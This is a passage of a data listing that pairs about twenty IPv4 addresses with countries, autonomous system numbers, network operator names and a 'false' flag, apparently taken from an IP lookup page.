37069 MOBINILEG false
209.8.28.229
 unknown United States
3491 BTN-ASNUS false
63.228.154.13
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
172.60.6.31
 unknown United States
21928 T-MOBILE-AS21928US false
62.64.198.207
 unknown United Kingdom
9105 TISCALI-UKTalkTalkCommunicationsLimitedGB false
180.216.64.254
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
135.9.171.187
 unknown United States
18676 AVAYAUS false
97.94.57.108
 unknown United States
20115 CHARTER-20115US false
160.0.161.208
 unknown Senegal
328148 ADIE-ASSN false
76.222.173.240
 unknown United States
7018 ATT-INTERNET4US false
76.246.121.191
 unknown United States
7018 ATT-INTERNET4US false
47.90.18.37
 unknown United States
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC false
164.91.159.26
 unknown United States
36075 SPACELABS-HEALTHCAREUS false
39.28.151.243
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
116.18.43.9
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
135.206.125.54
 unknown United States
14962 NCR-252US false
23.64.245.25
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
167.110.137.105
 unknown United States
6057 AdministracionNacionaldeTelecomunicacionesUY false
77.93.177.166
 unknown Romania
39737 PRIME-TELECOM-ASRO false
131.203.143.61
 unknown New Zealand
9503 FX-PRIMARY-ASFXNetworksLimitedNZ false